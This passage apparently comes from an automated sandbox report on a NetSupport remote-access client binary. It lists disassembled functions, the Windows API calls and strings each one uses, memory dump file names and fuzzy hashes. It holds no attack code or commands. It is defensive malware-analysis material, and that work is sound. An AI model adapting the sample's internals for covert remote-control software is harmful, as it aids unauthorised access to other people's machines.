Strings

..\ctl32\Refcount.cpp, xrefs: 1110F4BC

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 2803934178-2363596943
Opcode ID: 1dad7423e7d09c371aaf82e5f4f0c79299b8a2cfda0255715acc90ffe98602aa
Instruction ID: 747f5be640ff5df7f7be77ac0748be8e5b1ae2afb2ba592a3adef8646797d69b
Opcode Fuzzy Hash: 1dad7423e7d09c371aaf82e5f4f0c79299b8a2cfda0255715acc90ffe98602aa
Instruction Fuzzy Hash: B5E0C23AE4013933C112258A2C03FDBF69C8BD19FCF060021FE0CAA201E586B55181E6

Function 11014FD0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102EFB6,MiniDumpType,000000FF,00000000,00000000,?,?,View), ref: 11014FE7
CloseHandle.KERNEL32(00000000,?,?,View,Client,Bridge), ref: 11014FF8

Strings

\\.\NSWFPDrv, xrefs: 11014FE2

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction ID: 0b573536b28af4079515d3142ca801f5deca53cbeb6a996f0a1660ae0aa1d84a
Opcode Fuzzy Hash: f0badf7843dd101c9c7a596aad23f33c11cadc83e0c29f65da520d4fe63b43e1
Instruction Fuzzy Hash: A9D0C971A051387AF23416B66C4CFC7AD09DF06BB5F210264B53DE11D886104C41C2F1

Function 1115BDE0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1115BE03

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction ID: 0024421513bb2e1abb717dbf2ce3cdefbb73aa1ee3cdb3a5feae03928f974db8
Opcode Fuzzy Hash: 9cedd041eecb3df7698fbc33d80b44fc007d69f78d2f5524ab9bd2bf2492814b
Instruction Fuzzy Hash: 8C519E7560020AAFDB50CF68CC81FAAB7A6FF8A704F148459F929DB280D771E901CF95

Function 6C9709A9 Relevance: 4.6, APIs: 3, Instructions: 54memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,6C971E32,00000001,?,00000000,00000000,00000000,?,6C9975BC,00000001,00000214), ref: 6C9709E8
_errno.MSVCR100(?,6C971E32,00000001,?,00000000,00000000,00000000,?,6C9975BC,00000001,00000214), ref: 6C99F3D7

Memory Dump Source

Source File: 00000001.00000002.4170524693.000000006C961000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000001.00000002.4170510366.000000006C960000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170588221.000000006CA14000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170605422.000000006CA16000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.4170622438.000000006CA19000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c960000_bild.jbxd

Similarity

API ID: AllocateHeap_errno
String ID:
API String ID: 242259997-0
Opcode ID: 853d6c6bc34b570894d631c16de7a2af5c5b72f128d590f0c433efe0dc35d4d9
Instruction ID: 1c13e2341724457418c6b5e37621a7f87b153266f2ed4c35c8f25d968a99d659
Opcode Fuzzy Hash: 853d6c6bc34b570894d631c16de7a2af5c5b72f128d590f0c433efe0dc35d4d9
Instruction Fuzzy Hash: 0901F1303472969BFB149F29C848B7B33ACAF92368F148229A824CBDC0DB75D840C760

Function 11111430 Relevance: 4.5, APIs: 3, Instructions: 49COMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1111145A
__wsplitpath.LIBCMT ref: 11111475

Part of subcall function 11169044: __splitpath_helper.LIBCMT ref: 11169086

GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 111114A9

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: DirectoryInformationSystemVolume__splitpath_helper__wsplitpath
String ID:
API String ID: 1847508633-0
Opcode ID: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction ID: 71a9510f599fa1c136cb45ff21797ad5c5790827a759e4d2b52c0b71367846c8
Opcode Fuzzy Hash: 7498e584b69856d4904a5e87c0faea6464729445070a8fc0c411536d822b12a4
Instruction Fuzzy Hash: 34116175A4021DABEB14DF94CD42FE9F378AB48B04F404199E7246B1C0E7B12A48CB65

Function 1109E9E0 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08

Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,?,1102FCB2,?,00000000), ref: 1109E948
Part of subcall function 1109E910: GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000001,00000001), ref: 1109E964
Part of subcall function 1109E910: AllocateAndInitializeSid.ADVAPI32(?,00000001,00000012,008ADCB8,008ADCB8,008ADCB8,008ADCB8,008ADCB8,008ADCB8,008ADCB8,111EEB64,?,00000001,00000001), ref: 1109E990
Part of subcall function 1109E910: EqualSid.ADVAPI32(?,008ADCB8,?,00000001,00000001), ref: 1109E9A3

CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentEqualHandleInitializeOpen
String ID:
API String ID: 2256153495-0
Opcode ID: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction ID: 36b54363b319bb335bc5da0d0e9bdd0405b18079b131e91390d3ecc07929186c
Opcode Fuzzy Hash: 3278d9adbe4d3509b3b3548b9dad78e2718189f4cc0d765404142b0664a012dd
Instruction Fuzzy Hash: DCF05E78A15328EFD709CFF5D88482EB7A9AF08208700447DF629D3205E631EE009F50

Function 1110F720 Relevance: 3.8, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(111F0908,73B292A0,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F754
EnterCriticalSection.KERNEL32(111F0908,73B292A0,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F770
LeaveCriticalSection.KERNEL32(111F0908,?,?,?,?,-00000001,11182078,000000FF,?,1110F7F8,00000001,?,11169683,?), ref: 1110F7B8

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterInitializeLeave
String ID:
API String ID: 3991485460-0
Opcode ID: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction ID: 724175da6b3b5eb63f60f43096b8b9410b0df93e13cce3f4766159a849acac97
Opcode Fuzzy Hash: de9cc3b242b9749762f72f1a9abe3d064888d8cc99300df6bb387b99347c91a8
Instruction Fuzzy Hash: 3D11C675A0061AAFE700CF65CD85B5BF7A9FB88714F010129E829E3340F7359808CB92

Function 11068950 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,00000000), ref: 11068A12

Strings

??CTL32.DLL, xrefs: 110689D3

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ??CTL32.DLL
API String ID: 1029625771-2984404022
Opcode ID: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction ID: 38d720fc7c26638894156a2f8924bac31edb6b50614c34829f37a9a02c5b1e22
Opcode Fuzzy Hash: f114da26ba1a202df3ee97640f196ffb6169a957819133968d89773a25347f90
Instruction Fuzzy Hash: 5831F5B2A04781DFE711CF59DC40B5AF7E8FB45724F0482AAE92897380E735A900CB92

Function 11026B40 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(?), ref: 11026B6D

Strings

?:\, xrefs: 11026B62

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: DriveType
String ID: ?:\
API String ID: 338552980-2533537817
Opcode ID: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction ID: c0198090b602517e4922a9d0df48f1c050a77905515f879100581957a4b6d58d
Opcode Fuzzy Hash: b7a90a31e7e06615914d848c67eda86d39421f745c303f5cb5263aa0826e519a
Instruction Fuzzy Hash: 64F09065C083DA2AEB23DE608844596BFE84B463A8F5488D9DCE887541D165E1C58791

Function 110ED1A0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32registryCOMMON

Download Yara Rule

APIs

Part of subcall function 110ED160: RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED1BC

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d Opening regkey %s, xrefs: 110ED1CA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseOpenwvsprintf
String ID: Error %d Opening regkey %s
API String ID: 1772833024-3994271378
Opcode ID: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction ID: 33cf1931661e2960d377c619dd89904b97ea319b13ae6f8f8dcb9591a9c6775e
Opcode Fuzzy Hash: 503dc904c3fe8a3076b33c474287afaa84f0668cd560d7128fb7a99791884548
Instruction Fuzzy Hash: 60E0927A6012187FD210961B9C89F9BBB2DDB856A4F000069FD1487201C972EC1082B0

Function 110ED160 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?,?,?,110ED1AD,?,00000000,00000001,?,1103053F,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED16D

Part of subcall function 110ECF40: wvsprintfA.USER32(?,00020019,?), ref: 110ECF6B

Strings

Error %d closing regkey %x, xrefs: 110ED17D

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Closewvsprintf
String ID: Error %d closing regkey %x
API String ID: 843752472-892920262
Opcode ID: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction ID: 72b2cf3cdd4b8fd577e25b07e2838f9a8e734d144b1f96517ba84771a8eadcbb
Opcode Fuzzy Hash: c03f117d653720bd7e371fb7cf4e9287afa325923508867b0082396cad6e8e67
Instruction Fuzzy Hash: 4EE08679A022126BD3289A1EAC18F5BB6E8DFC4300F1604ADF850C3240DA70D8018664

Function 111463D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(NSMTRACE,?,1102DE54,11026580,0262B878,?,?,?,00000100,?,?,00000009), ref: 111463E9

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

NSMTRACE, xrefs: 111463E4

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID: NSMTRACE
API String ID: 4133054770-4175627554
Opcode ID: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction ID: cf49eb18fee32400038a48a9d82a087192b912de878353ac6c822cd252c7dc11
Opcode Fuzzy Hash: e82bf018f903e4ea25f627aae3f92f4affe26e4f9d0fd19bd58a96316eee6a50
Instruction Fuzzy Hash: 50D05EB520033BCFDB489F7995B4269F7EAAB4CA1D3540075E469C2A07EBB0D848C714

Function 11025CD0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(psapi.dll,?,110302C4), ref: 11025CD8

Strings

psapi.dll, xrefs: 11025CD1

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

